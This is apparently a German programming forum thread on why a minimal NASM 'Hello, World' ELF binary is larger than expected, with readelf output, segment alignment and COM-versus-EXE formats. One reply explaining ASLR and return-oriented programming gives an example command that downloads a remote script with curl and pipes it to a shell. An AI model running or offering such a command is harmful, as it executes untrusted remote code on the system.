; nasm -felf64 hello.asm && ld hello.o && ./a.out
global _start
section .text
_start: mov rax, 1 ; system call for write
mov rdi, 1 ; file handle 1 is stdout
mov rsi, message ; address of string to output
mov rdx, 19 ; number of bytes
syscall ; invoke operating system to do the write
mov rax, 60 ; system call for exit
xor rdi, rdi ; exit code 0
syscall ; invoke operating system to exit
section .data
message: db 27,"[93m", "Hello, World", 10, 10 ; note the newline at the end
Wo geht da soviel Overhead verloren ?
Zuletzt geändert von Mathias am So 6. Aug 2023, 08:13, insgesamt 1-mal geändert.
Mit Lazarus sehe ich grün
Mit Java und C/C++ sehe ich rot
$> readelf -e a.out
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x401000
Start of program headers: 64 (bytes into file)
Start of section headers: 8472 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 3
Size of section headers: 64 (bytes)
Number of section headers: 6
Section header string table index: 5
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .text PROGBITS 0000000000401000 00001000
0000000000000025 0000000000000000 AX 0 0 16
[ 2] .data PROGBITS 0000000000402000 00002000
0000000000000013 0000000000000000 WA 0 0 4
[ 3] .symtab SYMTAB 0000000000000000 00002018
00000000000000a8 0000000000000018 4 3 8
[ 4] .strtab STRTAB 0000000000000000 000020c0
000000000000002b 0000000000000000 0 0 1
[ 5] .shstrtab STRTAB 0000000000000000 000020eb
0000000000000027 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x00000000000000e8 0x00000000000000e8 R 0x1000
LOAD 0x0000000000001000 0x0000000000401000 0x0000000000401000
0x0000000000000025 0x0000000000000025 R E 0x1000
LOAD 0x0000000000002000 0x0000000000402000 0x0000000000402000
0x0000000000000013 0x0000000000000013 RW 0x1000
Section to Segment mapping:
Segment Sections...
00
01 .text
02 .data
Wie du sehen kannst sind die Programm Headers ein 4k Alignment, bei 3 headern ists also 2 aligments => 8k. Das ist schlicht und ergreifend einfach memory alignment, keine Daten. Einfach nur um das laden effizienter zu gestalten
COM sind direkte Speicherabbilder, die nicht verschoben werden, sondern immer an eine Adresse geladen wurden ($100 war es mal). Dadurch waren die kompakt und einfach. Eine EXE beinhaltet verschiebbaren Code, das heisst aber auch die Zusatzinfos was geändert werden muss. Das Format ist flexibler, weil die Adressen erst zur Laufzeit gebildet werden. Der Nachteil ist das das ganze 'aufgeblähter' ist, dafür aber vom Loader beliebig im Speicher verschoben werden kann. Das geht beim kompakteren Code von Com nicht.
Blöd kann man ruhig sein, nur zu Helfen muss man sich wissen (oder nachsehen in LazInfos/LazSnippets).
Eine EXE beinhaltet verschiebbaren Code, das heisst aber auch die Zusatzinfos was geändert werden muss. Das Format ist flexibler,
Und ich vermute mal, da Linux ein modernes OS ist, wird es da wie bei den DOS-EXE sein. Und COM-Datei sind ein Relikt aus der Anfangszeit, wo der Speicher auch noch sehr knapp war ?
Mit Lazarus sehe ich grün
Mit Java und C/C++ sehe ich rot
Es ist vor allem eine Sicherheitsmaßnahme. Adress Space Layout Randomization (ASLR) wird gemacht damit die Addressen an denen der Code steht bei jeder Auführung zufällig ist, um so genanntes Return Oriented Programming (ROP) schwerer zu machen. Beim ROP werden Buffer Overflow bugs ausgenutzt um die Return Addresse des aktuellen Stack Frames zu überschreiben, sodass die auf einen anderen Teil des Codes zeigen. Z.B. könnte man den Stack so perparieren das statt zu der Aufrufenden Funktion zurückzukehren die das folgende aufgerufen wird: System('curl http://mywebspace.com/malicious_script.sh | sh') und sobald die funktion Returned wird statt zum Aufrufort zurückzuspringen ein Script runtergeladen und in einer Shell ausgeführt.
Durch ASLR wird das erschwert, indem der Angreifer nicht weiß an welcher stelle jetzt genau die System funktion liegt, und somit das erst rausfinden muss. Da das bei jeder ausführung anders ist, muss er damit innerhalb einer Ausführung damit 2 Sicherheitslücken finden und ausnutzen können (1. Rausfinden wo LibC liegt, 2. ROP ausführen).
Dies scheint nur beim Inline-Assembler zu funktionieren.
Gibt es dafür auch einen Parameter ?
Das Format der Assemblydateien hängt von dem gewählten Assembler ab. Die für deine Platform verfügbare Liste erhältst du in der Hilfeausgabe (-h) unter dem Punkt Output format (wobei nicht jeder Assembler für jedes Betriebssystem nutzbar ist).
Ich habe noch folgendes durchprobiert, da schein nasm zu funktionieren.
Das ld nicht geht, liegen daran, das man noch irgendeine lib mit "-l" einbinden muss.